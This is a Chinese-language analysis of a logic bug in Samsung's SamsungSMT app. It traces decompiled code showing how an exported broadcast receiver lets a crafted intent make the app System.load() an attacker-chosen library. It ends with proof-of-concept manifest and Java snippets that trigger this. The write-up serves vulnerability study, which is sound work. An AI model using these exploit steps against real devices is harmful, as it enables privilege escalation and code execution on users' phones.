这个漏洞是Flanker发现的,一个逻辑层的漏洞,却可以进行提权,分析完后觉得其实不困难,自己是可以发现的
三星有一个叫SamsungSMT这么个应用,具体是干啥的我不是很清楚
它有一个导出组件com.samsung.SMT.SamsungTTSService
,其onCreate
方法里动态注册了一个BroadcastReceiver,我们知道这默认是导出的
public void onCreate() {
...
LangPackMgr.get().a(this.getApplicationContext()); // 入口
...
super.onCreate();
}
public void a(Context context) {
if(this.context == null) {
...
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction("com.samsung.SMT.ACTION_INSTALL_FINISHED");
this.context.registerReceiver(this.LangPackMgr$2, intentFilter); // 注册一个广播接收器:"com.samsung.SMT.ACTION_INSTALL_FINISHED"
...
}
}
注册的LangPackMgr$2
会将传入的Intent内两个数据作为参数构造一个LangPackMgr$UpdateEngineInfo
对象,然后加到一个队列里,经过一系列判断,开始更新
BroadcastReceiver LangPackMgr$2;
public LangPackMgr() {
...
this.LangPackMgr$2 = new LangPackMgr$2(this);
}
public void onReceive(Context context, Intent intent) {
int v7 = -1;
if(intent.getAction().equals("com.samsung.SMT.ACTION_INSTALL_FINISHED")) {
ArrayList arrayList = intent.getCharSequenceArrayListExtra("BROADCAST_CURRENT_LANGUAGE_INFO");
Class_l v1 = new Class_l(arrayList.toArray(new String[arrayList.size()]));
v1.a(intent.getStringExtra("BROADCAST_CURRENT_LANGUAGE_VERSION"));
v1.setArrayList(intent.getCharSequenceArrayListExtra("BROADCAST_DB_FILELIST"));
v1.a(true);
int Extra_SMT_ENGINE_VERSION = intent.getIntExtra("SMT_ENGINE_VERSION", v7);
String Extra_SMT_ENGINE_PATH = intent.getStringExtra("SMT_ENGINE_PATH");
if(Extra_SMT_ENGINE_VERSION > SmtTTS.get().getEngineVersion() && (r.isFileExist(Extra_SMT_ENGINE_PATH))) {
if(j.a(Extra_SMT_ENGINE_PATH)) {
LangPackMgr.getUpdateEngineQueue(this.a).add(new LangPackMgr$UpdateEngineInfo(Extra_SMT_ENGINE_VERSION, Extra_SMT_ENGINE_PATH));
LOG.b(q.b, "LangPackMgr - Add candidate engine [%d][%s]", new Object[]{Integer.valueOf(Extra_SMT_ENGINE_VERSION), Extra_SMT_ENGINE_PATH});
}
...
LangPackMgr.doUpdateEngine(this.a);
}
}
使用多线程来执行,在线程里我们看到一个reloadEngine()
方法
static void doUpdateEngine(LangPackMgr langPackMgr) {
langPackMgr.updateEngine();
}
private void updateEngine() {
if(this.mThreadUpdateEngine == null || !this.mThreadUpdateEngine.isAlive()) {
this.mThreadUpdateEngine = new LangPackMgr$EngineUpdateThread(this, null);
this.mThreadUpdateEngine.start();
}
}
public void run() {
...
if(v1 != null && ((LangPackMgr$UpdateEngineInfo)v1).SMT_ENGINE_VERSION > SmtTTS.get().getEngineVersion()) {
l.a().b(((LangPackMgr$UpdateEngineInfo)v1).SMT_ENGINE_PATH);
if(SmtTTS.get().reloadEngine()) { <== 注意看这里
LOG.c("Restart engine...");
跟入可以看到直接使用System.load()
加载了v0_2
指向的路径,那么l.a().k()
返回的是什么呢?
public boolean reloadEngine() {
boolean v0_3;
boolean v3;
this.e();
try {
String v0_2 = l.a().k();
if(r.isFileExist(v0_2)) {
System.load(v0_2);
}
else {
goto label_71;
}
}
我们看reloadEngine()
上两句代码,这里说的是如果版本号高于本地数据,就进入if
逻辑处理,可以看到,最后将Intent内"SMT_ENGINE_PATH"
的数据写到本地SP文件的"SMT_INSTALLED_ENGINE_PATH"
字段
if(v1 != null && ((LangPackMgr$UpdateEngineInfo)v1).SMT_ENGINE_VERSION > SmtTTS.get().getEngineVersion()) {
l.a().b(((LangPackMgr$UpdateEngineInfo)v1).SMT_ENGINE_PATH); <== 1
public void b(String param_SMT_ENGINE_PATH) {
if(param_SMT_ENGINE_PATH != null) {
l.SMT_LATEST_INSTALLED_ENGINE_PATH = param_SMT_ENGINE_PATH;
this.a("SMT_LATEST_INSTALLED_ENGINE_PATH", param_SMT_ENGINE_PATH); <== 2
}
else {
LOG.d("Try to set SMT_INSTALLED_ENGINE_PATH with null");
}
}
public void a(String SMT_INSTALLED_ENGINE_PATH, String param_SMT_ENGINE_PATH) {
this.a(n.a, SMT_INSTALLED_ENGINE_PATH, param_SMT_ENGINE_PATH); <== 3
}
public void a(n arg2, String SMT_INSTALLED_ENGINE_PATH, String param_SMT_ENGINE_PATH) {
SharedPreferences sp = this.c(arg2);
if(sp != null) {
SharedPreferences$Editor sp$editor = sp.edit();
sp$editor.putString(SMT_INSTALLED_ENGINE_PATH, param_SMT_ENGINE_PATH); <== 4
sp$editor.commit();
}
}
再来看l.a().k()
,可以看到返回值就是"SMT_ENGINE_PATH"
指向的数据,这个数据我们可控,修改Intent即可
public String k() {
if(r.isFileExist(l.SMT_LATEST_INSTALLED_ENGINE_PATH)) {
try {
if(j.a(l.SMT_LATEST_INSTALLED_ENGINE_PATH)) {
String v0_1 = l.SMT_LATEST_INSTALLED_ENGINE_PATH;
return v0_1;
}
LOG.a("Invalid INSTALLED_ENGINE_PATH = " + l.SMT_LATEST_INSTALLED_ENGINE_PATH);
}
catch(Exception v0) {
v0.printStackTrace();
}
}
this.j();
return null;
}
这时我们来看com.samsung.SMT.SamsungTTSService
注册的另一个BroadcastReceiver
public void onCreate() {
...
LangPackMgr.get().a(this.getApplicationContext()); // 入口
...
super.onCreate();
}
public void a(Context arg4) {
if(this.context == null) {
...
IntentFilter v0_1 = new IntentFilter("android.intent.action.PACKAGE_ADDED");
v0_1.addAction("android.intent.action.PACKAGE_REMOVED");
v0_1.addAction("android.intent.action.PACKAGE_CHANGED");
v0_1.addDataScheme("package");
this.context.registerReceiver(this.LangPackMgr$1, v0_1); // 注册一个广播接收器,用于判断应用安装,删除相关Action
}
}
广播接收器LangPackMgr$1
会判断新安装应用的包名是否是"com.samsung.SMT.lang"
开头,如果是,就调用函数a.d()
BroadcastReceiver LangPackMgr$1;
public LangPackMgr() {
this.LangPackMgr$1 = new LangPackMgr.1(this);
}
class LangPackMgr.1 extends BroadcastReceiver {
LangPackMgr.1(LangPackMgr arg1) {
this.a = arg1;
super();
}
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
String v1 = intent.getData().getSchemeSpecificPart();
if(((action.equals("android.intent.action.PACKAGE_ADDED"))
|| (action.equals("android.intent.action.PACKAGE_CHANGED"))
|| (action.equals("android.intent.action.PACKAGE_REMOVED")))
&& v1 != null
&& (v1.startsWith("com.samsung.SMT.lang"))) {
this.a.d();
}
}
}
经过若干次的调用
public void d() {
this.a(null);
}
public void a(j arg2) {
if(this.context != null) {
if(arg2 != null) {
this.i = arg2;
}
this.e(); // 传入的参数是null,所以直接调用函数e
}
}
启动一个线程
private void e() {
if(this.g == null || !this.g.isAlive()) {
this.g = new i(this, null);
this.g.start();
}
}
对应的实现,通过搜索安装的应用来过滤出指定前缀的包名,然后启动Service
class Thread_i extends Thread {
private Thread_i(LangPackMgr langPackMgr) {
this.a = langPackMgr;
super();
}
@Override
public void run() {
PackageInfo packageInfo; // 获取当前应用对象package信息
HashMap v3 = new HashMap();
HashMap v4 = new HashMap();
try { // 获取所有安装的应用
Iterator iterator = LangPackMgr.getContext(this.a).getPackageManager().getInstalledPackages(0x2000).iterator(); // 获取所有安装的应用
while(true) {
label_12:
if(!iterator.hasNext()) {
goto label_56;
}
Object v0_1 = iterator.next();
packageInfo = (PackageInfo)v0_1; // 获取当前应用对象package信息
if((packageInfo.applicationInfo.flags & 1) == 1 || !packageInfo.packageName.startsWith("com.samsung.SMT.lang")) {
continue;
}
break;
}
}
catch(Exception v0) {
v0.printStackTrace();
}
try { // 包名为:com.samsung.SMT.lang.xxx
Intent intent = new Intent(packageInfo.packageName); // 包名为:com.samsung.SMT.lang.xxx
intent.setPackage(packageInfo.packageName);
LangPackMgr.getContext(this.a).startService(intent);
LangPackMgr.increaseTriggerCount(this.a);
v3.put(packageInfo.packageName.replace("com.samsung.SMT.lang", "smt"), packageInfo.packageName);
goto label_12;
}
catch(Exception v1) {
}
...
v0.printStackTrace();
}
}
关键代码,意味着我们的Poc需要有一个Service,以包名作为intent-filter
Intent intent = new Intent(packageInfo.packageName); // 包名为:com.samsung.SMT.lang.xxx
intent.setPackage(packageInfo.packageName);
LangPackMgr.context.startService(intent);
接下来结合flanker_hqd的Exp来解析
- https://github.com/flankerhqd/vendor-android-cves
我们可以看到上面在监控到有以"com.samsung.SMT.lang"
为包名前缀的应用安装时,会启动安装应用一个Service,指定Action为包名,所以我们需要注册一个Service,Service的Action为包名
<service
android:name=".MyService"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="com.samsung.SMT.lang.poc" />
</intent-filter>
</service>
在我们的Service里,可以执行发送Intent的操作,这个Intent就会被广播接收器LangPackMgr$2
接收到,进而调用System.load()
,最后完成提权操作
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
...
Intent bi = new Intent();
bi.setAction("com.samsung.SMT.ACTION_INSTALL_FINISHED");
ArrayList<CharSequence> s = new ArrayList<>();
bi.putCharSequenceArrayListExtra("BROADCAST_CURRENT_LANGUAGE_INFO", s);
bi.putExtra("BROADCAST_CURRENT_LANGUAGE_VERSION", "99999");
bi.putCharSequenceArrayListExtra("BROADCAST_DB_FILELIST", s);
bi.putExtra("SMT_ENGINE_VERSION", 0x2590cd5b);//installed version is 361811291
bi.putExtra("SMT_ENGINE_PATH", input);
sendBroadcast(bi);
}
});
thread.start();